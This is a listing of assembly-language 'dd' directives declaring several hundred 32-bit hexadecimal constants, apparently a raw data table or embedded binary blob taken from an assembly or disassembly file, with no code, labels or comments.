dd 408BE421h, 0B7F60337h, 7C240846h, 6961080Eh, 797183Ah
dd 2272851Fh, 0DE8B339Dh, 80C30713h, 0B1AA3AB4h, 554052F2h
dd 91E8EF83h, 64E2D4A9h, 4DBE11Ah, 0A1C4F3E3h, 36418743h
dd 0A10A6EC3h, 83D15F33h, 0E1C64000h, 6CE8ED2Dh, 1044F168h
dd 0BA587535h, 8ACA908Fh, 94FF887Dh, 7B5498FDh, 191E1395h
dd 0B599E16Ah, 0B8FB2255h, 9AB46A58h, 31F0FDF2h, 0A5984A12h
dd 0A309CE4Ah, 0B457FDF0h, 4AD310F0h, 217A7151h, 0B423BA88h
dd 0C024C5D0h, 389139F4h, 68465434h, 4F9B93AFh, 2343713Bh
dd 63C6CA4Ch, 1FA90995h, 87A6633Dh, 8655259Ch, 6BCA144Ch
dd 15D59D7Dh, 916D9B96h, 42AFE3D1h, 78924B10h, 0D2D883F3h
dd 0C259DA22h, 0B2F78E20h, 9066BB55h, 1C6420CCh, 74071E7Eh
dd 0EBA97DC3h, 1C977149h, 0E240E45Fh, 2210A0B9h, 92F95DEBh
dd 0A9E00FD5h, 753D1FD0h, 57C3A3A3h, 1070FB9Ah, 0F4566A04h
dd 90454DA8h, 0CF750D99h, 0F6770D6Eh, 0D41D1FC8h, 46555D89h
dd 9ED99008h, 90F7A914h, 523DC6E7h, 65E18ACFh, 0D28A77ABh
dd 0D88000F2h, 2879E60h, 814C0B63h, 68855276h, 632D9A74h
dd 2C5A121Eh, 8EA60C5Eh, 52372265h, 6435AEAh, 0F52568FDh
dd 2FFA97F0h, 9015641Bh, 602E0925h, 3495EB0Bh, 6EEDE339h
dd 5568474h, 5EB39BCCh, 0B84DED08h, 0A78E8FBEh, 0F271D0FAh
dd 9E12ED7Dh, 10F6336Ah, 0C014B42h, 5D0CE683h, 48975C6h
dd 0EA96F5B7h, 0B17E63CAh, 0E2E359E5h, 17AD885h, 52027077h
dd 2387E960h, 0F76084C9h, 991D5873h, 43E5045h, 0A0A86773h
dd 16835546h, 0EA47B723h, 0F780F11Eh, 0B9EA8F5h, 0BAECC8D0h
dd 0E298D7C3h, 8589BA88h, 0DEE7D869h, 10A01909h, 77E1D431h
dd 0BD52D3D1h, 0C6F68B87h, 0E1A2AC4Bh, 7DE09ADEh, 21469B56h
dd 0F44237BEh, 59FFA5B7h, 9CD5DE2Ch, 0C00EF6Ch, 1C9B5B58h
dd 0C5B50190h, 0F890DD31h, 320C6E32h, 91426947h, 273ED509h
dd 1D8BF483h, 808CCD89h, 0D4FD031Eh, 0DB1A4F75h, 700B253Dh
dd 2DBA0103h, 1C4BBC77h, 561F0A65h, 59FC17F7h, 0F31FA446h
dd 1623F3AFh, 856775ADh, 0B261F028h, 93DCDB18h, 0E99989FDh
dd 1DC9E776h, 6A762DFFh, 0C0B33502h, 49BC2CA8h, 67EB5F2Dh
dd 8B749456h, 403166D4h, 0B8A35CB5h, 563468CFh, 0AFC3407Ah
dd 37BD6C74h, 0EF8FDDB4h, 475E1AF5h, 4C1F6D1Ch, 6D3DC655h
dd 0F46A627Eh, 2CF502FAh, 7CF86104h, 3831D28Eh, 12B5BA8Fh
dd 3372F284h, 9F80D96Eh, 602DB20Fh, 28CFBD86h, 0AA53A158h
dd 0A756DCB0h, 89C3F71Ch, 0EE954596h, 8523957Bh, 0F79F458Bh
dd 0ABC61E78h, 6D8BBA0Ah, 10235186h, 964592FDh, 0EA4ABB2Bh
dd 0CFA5DF65h, 972AA8EFh, 78E2D914h, 71C8D0BFh, 0C017204Dh
dd 0F7F75450h, 0B7A6D4C8h, 7FB1EE2Ah, 7D5FA637h, 9B8D1614h
dd 0AAD85EA3h, 0CBF5CF27h, 0F6E190D1h, 0B69CEB66h, 0F9640BBBh
dd 0AD4B82F1h, 50880C03h, 4558EEB7h, 69C33ED5h, 90E23CE8h
dd 3473EA79h, 0F6173D66h, 8D3F8E22h, 3CE4749Ah, 0AEF3DD4Ch
dd 14270B22h, 0C8C4BFCFh, 5F696F1Bh, 13031B11h, 447123C3h
dd 5C3D28EEh, 9A047FE4h, 0B6333FD3h, 7E453F08h, 0E85D698Ah
dd 0B4B661A0h, 385BCC5Ch, 0EA08FC89h, 78FBCB80h, 969E7235h
dd 4FAAE9C0h, 1C58AEFFh, 395D0640h, 0A24D1889h, 0C6FD1BFEh
dd 46FCFB93h, 8A13346Bh, 7323F271h, 5E9ADB77h, 7F944CE5h
dd 99043F57h, 6925B223h, 77AF80F9h, 31D8AF88h, 8EE0ACEEh
dd 0EE30BF50h, 82109CA0h, 1757B528h, 0D1E200CCh, 75EC007Bh
dd 0EC4E9C94h, 0A5B1F657h, 61B7C287h, 795E1447h, 97CB4F32h
dd 0DF429064h, 0A2A91045h, 28B71D3Ch, 0D9A44965h, 84DFF2CAh
dd 72BA256Ah, 7587BD52h, 0D6A99C44h, 3BE8C887h, 0E9874652h
dd 6A690D0Fh, 0BC40CB30h, 53428D01h, 2E56CD0Dh, 17638E9Ch
dd 7D65E030h, 800D147Ch, 0C0996035h, 0A127E05Ch, 0D9747945h
dd 0BBBBF9A0h, 0A4F4F5Ch, 0B26DEFDEh, 0EF68DB9Ah, 0FB1D3D5Bh
dd 0A9AC864Bh, 2FF70DECh, 0F857565Fh, 0BFD5A73Ah, 2FC14E8Eh
dd 44D465E1h, 1B5B834Ch, 9CFB9AAAh, 0D6238220h, 57F7F0DAh
dd 87EAEAC5h, 0DBBB9776h, 0F3B864B8h, 0D46F3F23h, 0A2CB0950h
dd 0D150F098h, 431E01A2h, 65E62D59h, 0D8092B66h, 7CECF426h
dd 43FF8A76h, 6554D028h, 0BF6AB1ECh, 0D3A2E2DBh, 470E8068h
dd 31B54CAEh, 0DFE98459h, 9E056D74h, 0BF767788h, 0B80DC226h
dd 0B417BE8Eh, 86BD2D09h, 405D86E7h, 0A71AAB8Ch, 6FF23B48h
dd 5A6914F3h, 0CA8D31CAh, 0BA2A9C8Dh, 0B36933ACh, 0FC7342ABh
dd 52D18C5Dh, 8515D2E6h, 52223278h, 0D9FFFCC1h, 2675F2DBh
dd 10885524h, 8D843D90h, 48A96FACh, 0D03908E4h, 57A8DECh
dd 77DD196Ch, 0B4F3AF2Dh, 0F953A928h, 0A10A934h, 0B41E8B0Dh
dd 0D174B18Dh, 0D96C8145h, 8FA98645h, 941AFC77h, 959CF895h
dd 7DE14002h, 65F86AD3h, 0C88CF02Bh, 64C87A30h, 0F147B95Fh
dd 0A7DC3114h, 2C316684h, 0E8C20831h, 0D14F9555h, 0A97C49F9h
dd 0A50B693Ah, 1B33932Bh, 0B47D39ECh, 0E136B3Ch, 0BBBF75F9h
dd 1E45F721h, 38DD3BB3h, 9DCCE845h, 9D6D0009h, 0A4B9C30h
dd 0DD36B1F6h, 9A51EDC1h, 0B18862C7h, 60DED050h, 9DE9335Dh
dd 13724E50h, 0E4F204F0h, 0E10B592Dh, 5EBE1CC6h, 1EC83F75h
dd 2C95C0F7h, 0AF6AC826h, 6BF1EFF4h, 56279A26h, 973448D5h
dd 0F25EF7D0h, 0B355B16Eh, 0CCA7CDC8h, 0F03DE9F6h, 49F6EDFh
dd 81E9BDCh, 0A93B0C91h, 1BD0AE8Bh, 7F2801B1h, 503F7CCBh
dd 9D6D6E63h, 9FA2C8Ah, 546217D0h, 53B5A86Ch, 2B636DECh
dd 42B34B21h, 2D26E9Ch, 5F5F5D33h, 0FFBE09D1h, 73D51605h
dd 0F279D959h, 0B51EBDCFh, 9B33E9Ah, 20F8DAE4h, 4F3D22AAh
dd 88D6F30Eh, 6F51FE60h, 0C7F2A1EEh, 50AEF2CAh, 1990B897h
dd 0F989CF0h, 0C25C0B17h, 15162F40h, 57A6D44Ah, 0A47ABDD3h
dd 0D4E1A858h, 0B7EB205Ch, 31CCAA20h, 5DB3FE5Ah, 7BE742B9h
dd 0B68B9F47h, 65610FFFh, 2A1275F4h, 0F453FD15h, 0C8DE541Fh
dd 765DEBEEh, 68A01D78h, 6DA220EFh, 0F83BDE25h, 0A5F5B9AAh
dd 6FC8032Ch, 8E658316h, 0EFC3A96Dh, 45D10A1Bh, 8EC4C1E6h
dd 0AA9E04Eh, 93E0B2Fh, 0E330C5C1h, 0FF2615Bh, 4721BEFCh
dd 4F90B063h, 0B49FD89Bh, 1028BA71h, 893049C5h, 7A592F7Eh
dd 878F5E65h, 0B74B6FDEh, 3C0CB641h, 49B698CCh, 0ACC5B3B0h
dd 0C6D23336h, 2FB32CFCh, 59D01A20h, 62EF692Eh, 0F622EDABh
dd 0C9BACA41h, 0C7D942BFh, 751F0B1Eh, 0E3026869h, 475D29D3h
dd 2E64D1F6h, 7FC0464Eh, 0D720FE9Bh, 67EBF536h, 0EDDBBCB4h
dd 4176B5DAh, 47CFD62Eh, 77943EA6h, 0C4A986Ch, 0A1DB5DA5h
dd 0A182F1Eh, 87CE01F0h, 10DD5C97h, 0BB4D4438h, 33A83619h
dd 1A2BFFCFh, 0B13B3D1Ah, 0BF91DEB4h, 69ED3DA7h, 24C656D3h
dd 57E3473Bh, 920AB569h, 46D6FF02h, 8F849C1h, 3EC085Fh
dd 77CBC08Bh, 1BC544A1h, 0C23B65E8h, 0D062D481h, 0F220C879h
dd 4A3EC874h, 0CCD9133Bh, 0D581F5F7h, 4341B4D7h, 85E20884h
dd 3CF5A064h, 457221AFh, 1BECD0A1h, 0BAD36202h, 0D68F79CEh
dd 822973AEh, 3BCBE5D3h
dd 43434E7Fh, 0C7DCF709h, 2F8E77CCh, 2D12FDAEh, 457FFD5Ah
dd 0BF498CAFh, 0D575D655h, 6FC99662h, 0B51E5F8Dh, 53C13DCDh
dd 3BDD7A72h, 0E616EE70h, 48BBBEB7h, 51702FBEh, 71F5921Fh
dd 0EAC1BCE0h, 0CB9214ECh, 0B0E28E09h, 4CED1782h, 5E13C74Bh
dd 29A216D0h, 0BF816B46h, 0FEF481CAh, 0A25646E7h, 0E4529A4Ah
dd 648755B4h, 3EBBD59h, 198FC5C6h, 625C0386h, 0C1357447h
dd 1DAF6B10h, 37C781F0h, 7CAAC1B6h, 128B927Bh, 50C6EDBEh
dd 6612CC41h, 136C3A32h, 19BD43B1h, 28B7C8B3h, 1AC3EB01h
dd 3413F40Bh, 11CA42A8h, 8C379132h, 4499DE05h, 3B011B2Fh
dd 0C0DF094Ah, 639CF82Bh, 52D089D3h, 0B5A2C00Eh, 6C49F6E3h
dd 8A719629h, 8F81F187h, 13F4129Ch, 0E7A8BDA1h, 0FAE64BECh
dd 0B9596AFAh, 3348FD64h, 609D6F32h, 0D11AC2Ch, 0A9A35EB6h
dd 88BE4C42h, 45717B8Ch, 2C0B1F41h, 0DDF63BBDh, 785F1945h
dd 0BEAF9548h, 0CD099F98h, 3D5AAA75h, 343B9DC3h, 61EF4C0Ah
dd 34EB0226h, 36776C12h, 0D298D874h, 8DE3E24h, 768190h
dd 0F21FB532h, 1D8E2012h, 9B4BCE55h, 7D11FB41h, 305584C3h
dd 33A8CC33h, 4138C366h, 684FAE23h, 0A902AC80h, 49A703AEh
dd 4E5848F9h, 59084158h, 29C380E0h, 1E464B25h, 7F481935h
dd 6E2EBAF0h, 3BCB09A0h, 8AB0DB20h, 0CB5D8CA3h, 297416Fh
dd 2A0D88FDh, 0E75C0527h, 614451B5h, 66AF8383h, 6FA940F8h
dd 6FD863FAh, 0D5B2B919h, 3CCA8AFCh, 0C4463C54h, 1431C92Bh
dd 653BF8EFh, 0E92CF8EEh, 0A74DE638h, 944FCF5Bh, 871EFF93h
dd 60D1EE87h, 807C4E1h, 0BC7DA43Fh, 0AAEBD0E5h, 0AC0051BAh
dd 66AEBB47h, 0CF995029h, 5DEDEE2Fh, 0BEE2753Fh, 4EE24FB8h
dd 0C7844B1Fh, 0D9EF3D99h, 0E5CCB7C6h, 52222AE7h, 90F14EF2h
dd 575EDDB8h, 0EE8A9817h, 0B88EFAD8h, 2E036267h, 8B10823Bh
dd 4458BD5Bh, 0CA07BDB4h, 96FC3C9h, 6717E60Fh, 0C4ACF038h
dd 4F1B788Ah, 0DBBE0E7Ch, 346AE50Bh, 6A57C57Ch, 0D289779Bh
dd 849B15F5h, 0C492B18Ch, 7CF46AA1h, 0D9F8FECDh, 0B97D6E15h
dd 6B942B21h, 7597357Eh, 71B135DBh, 0A3ED3DB6h, 36B7EFA0h
dd 930DA66Dh, 0D6E92C4Fh, 0EBCFE843h, 3372288Bh, 6F713DC4h
dd 2F51682Bh, 8E9B5DCEh, 6FD02554h, 0CE56B9C6h, 0D071489Ah
dd 0F3E04B75h, 0E0CB198Ah, 30C9121Fh, 69795E11h, 26928C84h
dd 98376132h, 0E96B29CEh, 6DDAD0C0h, 82927AE7h, 0A76D667Eh
dd 0C789D790h, 1276BC8Ah, 4DD632CAh, 0C377DCDh, 0F7CFDE91h
dd 72647553h, 5056D963h, 3B55EA4h, 541902FDh, 0FE6B3DFEh
dd 7C28305Eh, 457A0791h, 0B57B4F18h, 858CCA8Bh, 0AC2C3D6Eh
dd 0A584CA0Bh, 0BBD3BA2Ah, 0A506D3C2h, 0D2653A4Dh, 2210B37Ch
dd 2508830Ah, 306ADBB2h, 0E698633Ch, 466A7D1Eh, 24B9C106h
dd 0A7141491h, 0A40158C1h, 0BA33CF5Eh, 1989AA39h, 74E222E7h
dd 0E374A36Eh, 127AB00Eh, 0B9699746h, 7D933049h, 0DD88C7F9h
dd 7DE8ACF9h, 981B1DF6h, 0AD9C4F2Fh, 6CE82CAFh, 0E8FE18E0h
dd 0F8A8FF54h, 22D00284h, 0D8647605h, 0EF6700E9h, 0B828EF87h
dd 0B4C803A7h, 372612FDh, 0F77A3966h, 1CD0401Ah, 0ECF3A8A8h
dd 0F6B8DABEh, 9BA356F8h, 9F1C598Dh, 0D23D596h, 0BBC8E035h
dd 0B9033EF7h, 0C759B7DDh, 0B3D5ADC8h, 676155BBh, 0D142A7EFh
dd 4AFEBF45h, 398376BCh, 0E68E4049h, 0ABECA908h, 17873E26h
dd 0DC99D454h, 97B6D647h, 0B4A9A6E4h, 69B11647h, 0D2B1C9CCh
dd 0B4987D5Ch, 0C72B99ACh, 41D13726h, 23CE97D0h, 1607F715h
dd 6CE10987h, 0AB2B0C25h, 5D9D3F2Eh, 0CEEEA889h, 84B66807h
dd 0F44B53E1h, 3ADA6B76h, 8DAC0148h, 75036BEAh, 917162E3h
dd 788A18D9h, 0B78E1608h, 42F2D5B5h, 2E16BC2Eh, 8D5384D8h
dd 431289C9h, 24C74487h, 4046EE1Dh, 0A0E69A26h, 4726108Ah
dd 32AC43FFh, 18A62AC7h, 99ABF2Fh, 0B7B77006h, 0FD911874h
dd 569AE366h, 18703E7h, 0BB555DF8h, 0F117BBD7h, 5D525ECAh
dd 0C8E5DC25h, 10A6210Bh, 0A3B2AE51h, 0C3250C2Ah, 0A698EEADh
dd 2C580FD4h, 0C610E2B3h, 0F706FCADh, 69B37A4Fh, 4AC93C29h
dd 87B802D8h, 995CE499h, 84FF5B34h, 0C82B9054h, 8443DA87h
dd 930B39D4h, 8FABADD6h, 0BEAC85EFh, 0B6067756h, 727183DBh
dd 364E41AEh, 0F926A852h, 0E0D59850h, 77B8CE52h, 83C8D66h
dd 0E19EC3D5h, 0B5CEF856h, 0A6731A8Eh, 0A6AB4AC7h, 0BF1AF676h
dd 11002F56h, 9F4CC4F6h, 897DF4EFh, 0F3855AA7h, 6D26831Dh
dd 0C30AF404h, 2EBBAAE8h, 345A3EE5h, 36DE3A22h, 803B502h
dd 0A41B1895h, 1E7B81EDh, 0DDAAFD5Bh, 0DB5F758Ah, 7E1AC75Ah
dd 9421F08Ah, 0B4A2EC3Ah, 1830917Eh, 0B5054BB0h, 0ED3F694Bh
dd 2EA9507h, 8C55CEE2h, 0F3C032E5h, 0B2E16F52h, 84CEF9C6h
dd 0BC0DD9BFh, 54307571h, 0CC107BF2h, 74C1E3A6h, 0FF4E4EB5h
dd 269E105Fh, 0F0F8CB68h, 8D4C3FEDh, 9F9DEDD5h, 9C306A24h
dd 4F134198h, 44398F93h, 20B314BCh, 9AD2B514h, 64FE16F9h
dd 69A9BACh, 0D82BEB7Eh, 1E8DEE32h, 0CF5D285h, 66F2BD49h
dd 3D39D33h, 6FE9CD33h, 0FB2585BAh, 86834558h, 4920D40Eh
dd 1FAA4375h, 2C7CD49Dh, 9601E24Eh, 3562C3E6h, 0E0D34886h
dd 0BFA06473h, 0FB712C62h, 857A9BB3h, 0AEC84375h, 0F4A120E8h
dd 0E0DB8928h, 0EE6ED517h, 0A6AB9E7Bh, 592DE8C9h, 266DE46Fh
dd 26CFD993h, 647BC605h, 13D1CFA3h, 1DAB0717h, 0D4006E64h
dd 38613BE5h, 56D7EABFh, 0E13B0DC5h, 6D0C431Bh, 6456DB60h
dd 0BE5CB943h, 60E7BF89h, 757DCF8h, 0F617D359h, 8FB25AD8h
dd 7F93EDF4h, 24C3EAE4h, 1EFA04C6h, 8A2D381Ah, 1ECB1536h
dd 9A477953h, 6698956Ah, 0EC40126Ch, 4E895769h, 0C682D9B3h
dd 1926CC48h, 0A5E69881h, 0E243C8E3h, 0A096A70Bh, 32E90BF0h
dd 0B5E94AFBh, 5E49DD5Eh, 0CA111FD1h, 8C1FE745h, 2E58349Eh
dd 0B9EE9C3Dh, 37CB8F38h, 7E737A06h, 0B9281E3Ah, 0CDC879B0h
dd 0DB22AC9Bh, 512BE5C0h, 16A258C5h, 0FF021C09h, 1409C04h
dd 3EB155EDh, 656EB752h, 6CC8B1D5h, 88762314h, 885705D6h
dd 0A368DE28h, 0F8969571h, 78F506F0h, 1088FCA8h, 0BC92ABEDh
dd 988153B1h, 850D75C3h, 333B0DDBh, 9799F462h, 1E1335EBh
dd 45CB1D03h, 3EF763E8h, 0A6229191h, 0F6229C7h, 9D03E0EDh
dd 0C482826h, 9F8EDEFEh, 914154F7h, 96676B74h, 541773C5h
dd 758DC088h, 6C251021h, 0F9601316h, 9806D562h, 38BD68F3h
dd 0FEEC23Dh, 0DD947850h, 0A1E0813h, 2ADD12A5h, 99AC3F23h
dd 4829FFFBh, 83B54D0Dh, 232EEED7h, 0F7ADA59Ah, 0E3D48FB7h
dd 3CF2A6E5h, 0D1828E2h, 3D99D695h, 28405202h, 0C37DE42Ah
dd 0DE063655h, 878E25A3h, 54209E6Fh, 5B46A9BBh, 10B8AABBh
dd 23FA76A3h, 52C83452h, 1D9F7FE8h, 58C70CD5h, 0C0777833h
dd 0A2C9C28Ah, 0E04DD59Bh, 0DD45347h, 0AF6D2335h, 66F9D47Eh
dd 0FCE5DB82h, 62640DEDh, 0FC50EBE5h, 6CFE6D4Dh, 8D5BBD2Ch
dd 0E600727Bh, 0B773FC8Ch, 9A507A7Ah, 693D98D3h, 0FD4C98CAh
dd 3EEF7268h, 1659AF11h, 7E2B5A4Ah, 6800BABBh, 0B7A020AFh
dd 0C95BD480h, 0FB99BFC6h, 86D84A80h, 9E09FCDCh, 3BA6AE3Dh
dd 0F5350D24h, 51B59C1Ch, 0B7EB679Dh, 7990BD55h, 0CC10A763h
dd 4BD7CC57h, 0E784F88Fh, 2E47DAD2h, 0A5E0128Fh, 5F3E2651h
dd 6C11A9Dh, 0D5E1EE38h, 0D5F61657h, 4A06A62Fh, 6F9BB8E7h
dd 254C19E2h, 0E3B22511h
dd 94A35A73h, 82D278C6h, 0C312FE10h, 49155D81h, 1E8BDACEh
dd 23E8D576h, 9D8A9875h, 5E81BC10h, 0B2ABCC2Eh, 0EA4DE6A7h
dd 40B4E498h, 1D636C14h, 54CBA6A3h, 0F9A9E59Dh, 0A5D74BFh
dd 28B8A2C8h, 472AF26h, 8A8EE888h, 8E598448h, 8BEF11E2h
dd 0A360A098h, 4DB6623Ah, 0A057728Eh, 9B251C1Bh, 0A7206BC3h
dd 0E9C53A4Fh, 3542BB7Eh, 11003510h, 76823EF4h, 0ABCDFE04h
dd 0C7E35859h, 5270E11Ah, 0BE84856Ch, 44B5B5D0h, 9483070Ah
dd 2786C334h, 857489Ch, 6BD096EBh, 1356380Ch, 0CBBB1904h
dd 860E3DE3h, 3BE394C1h, 2F7B6643h, 0C430ADB7h, 0CD35D888h
dd 0AA6426A3h, 37D099B1h, 0EFE98139h, 0AEB4A20Bh, 0D46B8A75h
dd 659F0C86h, 0EDAF45CAh, 33D9844Dh, 1746630Eh, 9807C271h
dd 0A91B5B51h, 910A02BAh, 0D1CD41CBh, 0CDA9E2BBh, 9A8FDDB3h
dd 2D27C60Fh, 1B745976h, 5F6E01B5h, 710033B2h, 3207EC98h
dd 0FD4026Dh, 0FC9C03E5h, 0E7137524h, 306DD8E2h, 0A26D7E9Bh
dd 7E6CC276h, 3B4A585h, 2D59A05Eh, 0EFB2B785h, 0B30AFE27h
dd 0F10D2677h, 713DE675h, 7C6603Ch, 70E8893Bh, 0FC711E76h
dd 9A9ED609h, 0AA00866Fh, 53E3A353h, 0DF956E9Bh, 156D4BA4h
dd 8518D257h, 0C90E64F6h, 1A41D3FEh, 0DA1334BFh, 30BED09Dh
dd 8B91C5D6h, 89D3C437h, 6D28B177h, 0E3ED2159h, 78C9D22Fh
dd 0DBB79DB5h, 0F788FCA4h, 7BE78D66h, 916C20CAh, 50163E4Ah
dd 8E034DF7h, 4B4B6999h, 0D2909063h, 22364DA2h, 0A446D620h
dd 8FC053CFh, 8329BB7Fh, 0A8C74F42h, 0B924D842h, 27099394h
dd 0C7541C50h, 2509C288h, 0EAC20BB0h, 7E3E2850h, 0B24EF656h
dd 0FC47A5D2h, 0BDA4B0E9h, 8717C8C4h, 0FA4EE62Dh, 5587EE29h
dd 53050D6h, 0C9B1FB48h, 16DABE1Dh, 38B4A2C3h, 0A81F3790h
dd 44CA2317h, 78E6C2A9h, 93EC4D59h, 62FB7BBDh, 0ECC327EFh
dd 1EED89BDh, 0C2EF92F1h, 0A1C4055Eh, 0E40A696Ah, 202E003Dh
dd 0AC4FD78Ah, 0CF319DB7h, 0E1DE6986h, 0DB1213DEh, 0A265F8B6h
dd 0C5A94735h, 0C2F14546h, 0C5D5FD7Fh, 0AD57555Dh, 71FEB50Fh
dd 15682B3Dh, 3B032505h, 146856F2h, 0E3FA604h, 5F60491Ah
dd 0AB5CE1AEh, 0C0FD6E73h, 75DEC26Fh, 0FF46D2FAh, 0C2DDFBE3h
dd 0CEB1EB41h, 0B35EB996h, 0D6328FA2h, 0A3C9C52Eh, 0ABA1F9CEh
dd 0ACE3D1B7h, 0E3938CCEh, 2053F2AAh, 0E2AB83BDh, 2886C2CDh
dd 0BCD61C77h, 0A17BE01Ah, 0D386B78h, 0E56ACFC3h, 0E0B4434Ah
dd 8652EEAAh, 2F523228h, 2C5FCCF3h, 51FEE252h, 0F8DB08B9h
dd 96E4A65h, 9E69D24Dh, 3AB31A89h, 4D6AE303h, 8F0211E8h
dd 4609E33Fh, 64097EB4h, 0F6246CD3h, 0D2F33D0Dh, 0A1C3691Fh
dd 0E34AA5E2h, 16F2D49Ch, 37DD095Ch, 631AD85Fh, 0C8EA975Fh
dd 6FC549BFh, 5515616h, 0D14FE1C7h, 0A70E094Fh, 9CC91F4h
dd 0EA2E767Ch, 0E0607892h, 23AA0299h, 0E7A473Ch, 0A47B498Eh
dd 254FC771h, 0E371903Dh, 66ABF7ABh, 1FA3CE4Dh, 0D5FA9FF6h
dd 80755BB3h, 6ECB8AE4h, 0BD37280Eh, 0CB95139Fh, 0EC223D24h
dd 617E3D0Bh, 0B9B064Dh, 64A23528h, 3D6CA6EAh, 3564246h
dd 929F40F9h, 0CC5CE236h, 0E667E221h, 0EF60A54Bh, 419E1293h
dd 6B2E788Bh, 39C675D7h, 7F92758Dh, 72683DF0h, 0C2763F94h
dd 0ACE6AC0Fh, 88F008F3h, 8AD5C4C7h, 60DA9CCCh, 8D3D5256h
dd 22F0DC95h, 0E135A255h, 5FFA80A5h, 70830A19h, 0CA168586h
dd 0A35FA1F2h, 0B6120059h, 0F0F99878h, 35E65585h, 41098D29h
dd 7D009F25h, 0DB26033Ch, 624991FFh, 0F9E97AECh, 2897DD4h
dd 20B8E335h, 0CE7C0C92h, 0C277FD36h, 6421DDDEh, 0C5102834h
dd 0EEC833F7h, 0BA63E9D1h, 77ED5CCDh, 0B706B52Bh, 587C0D89h
dd 263F0221h, 8895BF78h, 0D501A731h, 24EA6B70h, 0D8DE0317h
dd 0AA8F18EBh, 0B620BC9Fh, 5BB5338h, 0F16F5143h, 0D16908EFh
dd 9FEE7936h, 2FC3755h, 0E37C41C1h, 110E6A7h, 0F03798FEh
dd 5F91862Eh, 176CF101h, 0A51EC44Eh, 42B479A3h, 6A4FD496h
dd 1577681Bh, 25856FBh, 21441770h, 457AAC26h, 0F850BCD9h
dd 1B3B3756h, 0B50E2A58h, 7918AA62h, 67E97AEFh, 2CBC4D23h
dd 0AE4F5507h, 8262D2DBh, 0FF64CF8Ah, 82E3E106h, 0B3036105h
dd 0D162ACE5h, 0DFD425FEh, 4CDBD0C9h, 0AC5F963Ch, 7D4783B3h
dd 8AE4932Ah, 0BB711D77h, 0AF4B6CE9h, 9647225Ah, 7AC38048h
dd 99ACB79Ah, 0FEFF89D3h, 40FDC1F5h, 8AF4C83Eh, 0BB45A33Ah
dd 64CD3121h, 26DD83BEh, 0B521B4ADh, 0DC8CB60Ch, 9AE908CFh
dd 2D89E6A7h, 0C929DB8h, 370A8048h, 15FE1790h, 821916DAh
dd 8ED65BB6h, 0EC16214Dh, 2CF4E5FAh, 4ECB16B0h, 4C02DEBFh
dd 77F02FD9h, 0D2DF6195h, 0C1E06358h, 0B3E129C9h, 6A71DE2Eh
dd 471E123Dh, 8C275FE5h, 5838BC42h, 20A1912Fh, 1278384Ch
dd 0F9596701h, 0FD193B99h, 0F486D478h, 0A66317F6h, 79383D59h
dd 0B0C30A4Ch, 19B62BCFh, 9189C05Ah, 0DC24D6D5h, 0AFF845E6h
dd 4D810EC7h, 4697E3B6h, 43DFCB30h, 1570B816h, 0B8F8DEF7h
dd 23437D70h, 6833E72Dh, 539EDBC2h, 4B27DDD2h, 0DA6A294Bh
dd 0BDAD7E31h, 8B4ACF5Dh, 0EE35FA03h, 0BB5F6122h, 23EAA3E1h
dd 784C645Ch, 515A1CD6h, 9DF9D0AFh, 42B4D405h, 271A64D5h
dd 8C96EE88h, 0C9C90CDDh, 647C662Dh, 80AA2663h, 48AF072Ah
dd 0C1D469h, 7EC5A6D4h, 0C668E820h, 1994F3D2h, 0E13095BDh
dd 9BEE2176h, 0C5CF2A3Ah, 140DB730h, 0B44C9DAAh, 866EDC91h
dd 47DBADC5h, 6C75CBABh, 50252501h, 0C9959F0h, 9678E960h
dd 0FEE7B670h, 90040851h, 5E83B9E7h, 3927F043h, 0F61B1F3h
dd 4C332B5Eh, 411C984Fh, 33C2C8FBh, 15674360h, 0CA4D4FE0h
dd 1EA7CC53h, 4321FD62h, 65381052h, 5337D7EAh, 0CE6BA0D2h
dd 0FD019BC8h, 0DCFF5CE8h, 0C9BCB510h, 0B25AEB65h, 8025AC59h
dd 964508DFh, 83FEF490h, 79BFF197h, 114EA101h, 0A74D018h
dd 0ADD44C10h, 0D94036F3h, 0B1F1BB46h, 0E72BB8CAh, 75E5B8F0h
dd 0A5211626h, 5E6C5A6Fh, 0C37E6BC1h, 0E8F49D09h, 94EA9D9Eh
dd 970325B1h, 5246457Ch, 0F8C9B515h, 0D9AA21F0h, 717172F7h
dd 18A4B07h, 0A8F916D9h, 0FC484735h, 0F9D35F03h, 0C1B4CD0Ch
dd 0CA5624B7h, 0CBC3D878h, 7AB1AE51h, 9F9F38B6h, 0EC36C9F1h
dd 589232D3h, 2982D66Ch, 0C0A29D63h, 4024506h, 1C2845F1h
dd 497617C0h, 3B77B565h, 52C50245h, 55622993h, 31FC096Ch
dd 0FB66438Ah, 98D9775h, 8ADCF161h, 0E56E75C9h, 0DBB21AE1h
dd 9D06BBC7h, 0A22DC3C2h, 0DC47363Bh, 8D2A009Bh, 2D2DD5DFh
dd 90370194h, 7C7898ABh, 0C7936B8Bh, 5060B046h, 0DD4E9CA8h
dd 0C90C5E6h, 2E627685h, 2CC16997h, 3B8DCD33h, 0F9514579h
dd 41E2473Eh, 1F4BCCCDh, 8D668A1Ch, 0F0A91E57h, 0F3C55529h
dd 0F8BFD745h, 4E28201Ch, 5CCC1EEDh, 3A2BC85Eh, 15A7DE9h
dd 0C510FFFDh, 0A0AD3BE0h, 0F541BDB9h, 6898E07Eh, 4A44C324h
dd 9E3E9E28h, 7CB11E81h, 0A0C56335h, 3570F30h, 1E031F2Bh
dd 0AB2FFABBh, 5D7EA8ABh, 892F92E7h, 0E266759Ah, 63534EAEh
dd 208F43C8h, 4FC670D3h, 2BA2C305h, 0D1051188h, 9E9DD86Bh
dd 0B60B3EE9h, 0B37A58EBh, 1A84D5A8h, 30C7B8EEh, 1D309C9Dh
dd 3851059Fh, 41D21570h, 9CC56D17h, 0A004ED6Bh, 3BD299B4h
dd 0BC541616h, 6F4110B8h, 14D7B80Ah, 8E476C7Fh, 0E548778Fh
dd 0CF3790ACh, 9FF4EE22h, 42930694h, 0ED3BAD7Eh, 7613D619h
dd 904BFBB8h, 36231FAh
dd 6D94E7h, 0C9F5DAF1h, 39473ECCh, 85D23B46h, 0CF3083C7h
dd 3D9FE52Bh, 0DCE180D6h, 0E92DAD4Eh, 43F8B503h, 0FC2ED392h
dd 0BA7C4F20h, 0C92FEC96h, 8C7DB0B4h, 3F8CDC4Eh, 3CA82EB4h
dd 0BB9D1F8Ah, 0A7970DABh, 0CA335D19h, 0E5CC4570h, 0F4342206h
dd 0FF93D817h, 0FE6C5C5Fh, 0C2FCA0BAh, 0E9037C2Ch, 6F4364C5h
dd 4BFC62B6h, 90EF0C49h, 93D6E2C9h, 42F8FE90h, 0B4954102h
